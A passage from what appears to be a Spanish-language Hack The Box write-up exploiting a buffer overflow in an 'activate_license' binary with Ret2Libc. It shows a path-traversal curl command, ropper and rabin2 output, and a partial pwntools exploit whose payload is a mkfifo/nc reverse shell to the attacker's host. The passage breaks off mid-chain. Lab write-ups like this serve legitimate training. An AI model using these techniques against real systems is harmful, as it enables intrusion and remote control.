&lt;p&gt;&lt;code&gt;pattern create 600&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80c4-b66f-f82d3890c574.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El exploit para determinar el offset:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-800f-b547-e61ebe78a93f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El programa primero lee 4 bytes para saber cuánto mide el mensaje que vendrá después.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;len(msg)&lt;/code&gt;: calcula la longitud del patrón.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p32(...)&lt;/code&gt;: empaqueta ese número en 4 bytes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;endian='big'&lt;/code&gt;: coincide con el &lt;code&gt;ntohl&lt;/code&gt; del C (network order = big endian).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Al principio explota porque falta una base de datos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-800c-930a-c3e868c90320.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Creamos una base de datos fake &lt;code&gt;license.sqlite3&lt;/code&gt; y ahora sí.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8059-884b-f5760ed48810.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pattern search $rsp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;¿Por qué&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;$rsp&lt;/code&gt;****?&lt;/strong&gt;
En x64, cuando se ejecuta &lt;code&gt;RET&lt;/code&gt;, el procesador toma la dirección de retorno de donde apunta &lt;code&gt;RSP&lt;/code&gt;. Como nosotros sobreescribimos la pila con el patrón, ese valor está ahí.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8002-834d-ec2cb03c947b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Obtenemos un offset de &lt;strong&gt;520&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="ret2libc"&gt;Ret2Libc&lt;/h2&gt;
&lt;p&gt;Con NX activo, no podemos ejecutar shellcode en la pila. La alternativa es &lt;strong&gt;Ret2Libc&lt;/strong&gt;: reutilizar funciones de &lt;code&gt;libc&lt;/code&gt; (por ejemplo &lt;code&gt;system()&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Por ASLR, &lt;code&gt;libc&lt;/code&gt; cambia de dirección en cada ejecución, así que necesitamos filtrar las bases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;actbase&lt;/code&gt;: base del binario &lt;code&gt;activate_license&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;libcbase&lt;/code&gt;: base de la librería &lt;code&gt;libc&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Para eso leemos &lt;code&gt;/proc/&amp;lt;PID&amp;gt;/maps&lt;/code&gt; del proceso &lt;code&gt;activate_license&lt;/code&gt;, y antes necesitamos el PID.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8033-bf92-ea7327b5531e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tenemos PID (419).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80bd-906a-c86850e8748d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;activate_license&lt;/code&gt; → 55591a82b000&lt;/li&gt;
&lt;li&gt;&lt;code&gt;libc&lt;/code&gt; → 7ff574bbe000&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="offset-de-system-en-libc"&gt;Offset de &lt;code&gt;system()&lt;/code&gt; en libc&lt;/h3&gt;
&lt;p&gt;Descargamos &lt;a href="http://libc-2.31.so/"&gt;&lt;code&gt;libc-2.31.so&lt;/code&gt;&lt;/a&gt; del servidor para analizarla.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.227.&lt;span style="color:#ae81ff"&gt;96&lt;/span&gt;/index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=a.....///.....///.....///.....///.....///.....///.....///usr/lib/x86_64-linux-gnu/libc-&lt;span style="color:#ae81ff"&gt;2.31&lt;/span&gt;.so -o libc-&lt;span style="color:#ae81ff"&gt;2.31&lt;/span&gt;.so
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; nos permite localizar &lt;code&gt;system&lt;/code&gt; (offset &lt;code&gt;0x00048e50&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80cc-80a7-ea757c207ebc.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="pop-rdi-ret-y-zona-escribible"&gt;&lt;code&gt;pop rdi; ret&lt;/code&gt; y zona escribible&lt;/h3&gt;
&lt;p&gt;En x64, el primer argumento de una función va en &lt;strong&gt;RDI&lt;/strong&gt;, así que necesitamos un gadget &lt;code&gt;pop rdi; ret&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Retired/exploit]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ropper -f ../loot/activate_license --search &amp;#39;pop rdi; ret&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INFO&lt;/span&gt;] Load gadgets &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; section&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; LOAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;LOAD&lt;/span&gt;] loading... &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;LOAD&lt;/span&gt;] removing double gadgets... &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INFO&lt;/span&gt;] Searching &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; gadgets&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; pop rdi; ret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INFO&lt;/span&gt;] File&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ../loot/activate_license
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x000000000000181b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; pop rdi; ret;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como no podemos dejar un comando largo “tal cual” en un registro, el enfoque es:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Buscar una zona &lt;strong&gt;escribible&lt;/strong&gt; (por ejemplo &lt;code&gt;.data&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Escribir ahí el comando en trozos.&lt;/li&gt;
&lt;li&gt;Llamar a &lt;code&gt;system()&lt;/code&gt; apuntando a esa dirección.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Con &lt;code&gt;rabin2 -S&lt;/code&gt; vemos secciones y permisos (por ejemplo &lt;code&gt;.data&lt;/code&gt; es &lt;code&gt;-rw-&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Retired/exploit]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# rabin2 -S ../loot/activate_license&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Sections&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nth paddr size vaddr vsize perm type name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0x00000000 0x0 0x00000000 0x0 ---- NULL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; 0x000002a8 0x1c 0x000002a8 0x1c -r-- PROGBITS .interp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; 0x000002c4 0x24 0x000002c4 0x24 -r-- NOTE .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;note.gnu.build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-id
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; 0x000002e8 0x20 0x000002e8 0x20 -r-- NOTE .note.ABI-tag
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; 0x00000308 0x28 0x00000308 0x28 -r-- GNU_HASH .gnu.hash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; 0x00000330 0x390 0x00000330 0x390 -r-- DYNSYM .dynsym
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; 0x000006c0 0x1cc 0x000006c0 0x1cc -r-- STRTAB .dynstr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; 0x0000088c 0x4c 0x0000088c 0x4c -r-- GNU_VERSYM .gnu.version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; 0x000008d8 0x30 0x000008d8 0x30 -r-- GNU_VERNEED .gnu.version_r
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; 0x00000908 0xd8 0x00000908 0xd8 -r-- RELA .rela.dyn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 0x000009e0 0x2d0 0x000009e0 0x2d0 -r-- RELA .rela.plt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; 0x00001000 0x17 0x00001000 0x17 -r-x PROGBITS .init
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; 0x00001020 0x1f0 0x00001020 0x1f0 -r-x PROGBITS .plt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt; 0x00001210 0x8 0x00001210 0x8 -r-x PROGBITS .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plt.got
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt; 0x00001220 0x601 0x00001220 0x601 -r-x PROGBITS .text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; 0x00001824 0x9 0x00001824 0x9 -r-x PROGBITS .fini
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt; 0x00002000 0x18b 0x00002000 0x18b -r-- PROGBITS .rodata
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; 0x0000218c 0x4c 0x0000218c 0x4c -r-- PROGBITS .eh_frame_hdr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; 0x000021d8 0x140 0x000021d8 0x140 -r-- PROGBITS .eh_frame
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; 0x00002cb8 0x8 0x00003cb8 0x8 -rw- INIT_ARRAY .init_array
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; 0x00002cc0 0x8 0x00003cc0 0x8 -rw- FINI_ARRAY .fini_array
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt; 0x00002cc8 0x200 0x00003cc8 0x200 -rw- DYNAMIC .dynamic
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 0x00002ec8 0x138 0x00003ec8 0x138 -rw- PROGBITS .got
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;23&lt;/span&gt; 0x00003000 0x10 0x00004000 0x10 -rw- PROGBITS .data
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt; 0x00003010 0x0 0x00004010 0x8 -rw- NOBITS .bss
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt; 0x00003010 0x27 0x00000000 0x27 ---- PROGBITS .comment
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; 0x00003037 0x30 0x00000000 0x30 ---- PROGBITS .debug_aranges
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt; 0x00003067 0x688 0x00000000 0x688 ---- PROGBITS .debug_info
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;28&lt;/span&gt; 0x000036ef 0x1b9 0x00000000 0x1b9 ---- PROGBITS .debug_abbrev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt; 0x000038a8 0x28a 0x00000000 0x28a ---- PROGBITS .debug_line
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;30&lt;/span&gt; 0x00003b32 0x577 0x00000000 0x577 ---- PROGBITS .debug_str
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt; 0x000040b0 0x960 0x00000000 0x960 ---- SYMTAB .symtab
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;32&lt;/span&gt; 0x00004a10 0x437 0x00000000 0x437 ---- STRTAB .strtab
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt; 0x00004e47 0x13e 0x00000000 0x13e ---- STRTAB .shstrtab
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="exploit"&gt;Exploit&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from sys import argv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from pwn import *
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Esta función realiza todo el ataque&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def perform_rce(rhost, lhost)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 1. DIRECCIONES BASE (ASLR) ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Dirección base donde se cargó el programa &amp;#34;activate_license&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (Coincide con la primera línea de /proc/maps)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; actbase = 0x561afcc08000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Dirección base donde se cargó la librería &amp;#34;libc&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (Coincide con la línea de libc-2.31.so en /proc/maps)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; libcbase = 0x7fc7d4c5c000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ActBase: {hex(actbase)}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] LibcBase: {hex(libcbase)}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 2. GADGETS (HERRAMIENTAS DE ROP) ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Son instrucciones pequeñas que ya existen en el programa/libc.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Gadget en el binario principal &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Sirve para poner el primer argumento de una función (RDI)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pop_rdi = p64(actbase + 0x0000181b) &lt;span style="color:#75715e"&gt;# pop rdi; ret;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Gadget en Libc: Sirve para poner el segundo argumento (RDX)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Lo usamos como &amp;#34;mochila&amp;#34; para llevar los trozos de nuestro comando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pop_rdx = p64(libcbase + 0x000cb1cd) &lt;span style="color:#75715e"&gt;# pop rdx; ret;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Gadget en Libc: LA CLAVE. Mueve lo de la mochila (RDX) a la memoria (RDI)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mov_gadget = p64(libcbase + 0x0003ace5) &lt;span style="color:#75715e"&gt;# mov qword ptr [rdi], rdx; ret;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Dirección de la función system() en Libc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; system_addr = p64(libcbase + 0x00048e50)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 3. ZONA ESCRIBIBLE ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Offset 0x4000 sacado de rabin2 (Sección .data)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Aquí es donde escribiremos nuestro comando malicioso byte a byte.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; writable = actbase + 0x00004000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Offset del Buffer Overflow (confirmado previamente como 520)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; offset = &lt;span style="color:#ae81ff"&gt;520&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 4. PREPARAR EL COMANDO (PAYLOAD) ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Creamos el comando de reverse shell.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Usamos mkfifo porque funciona en casi cualquier Linux, tenga bash o sh.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd = f&lt;span style="color:#e6db74"&gt;&amp;#34;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc {lhost} 4444&amp;gt;/tmp/f&amp;#34;&lt;/span&gt;.encode()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Añadimos un byte nulo (\x00) al final porque en C las cadenas terminan así.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd += b&lt;span style="color:#e6db74"&gt;&amp;#34;\x00&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Rellenamos con ceros hasta que la longitud sea múltiplo de 8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (Necesario porque en 64 bits escribimos de 8 en 8 bytes)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(cmd) % &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; != &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd += b&lt;span style="color:#e6db74"&gt;&amp;#34;\x00&amp;#34;&lt;/span&gt; * (&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; - (len(cmd) % &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 5. CONSTRUCCIÓN DE LA ROP CHAIN ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop = b&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
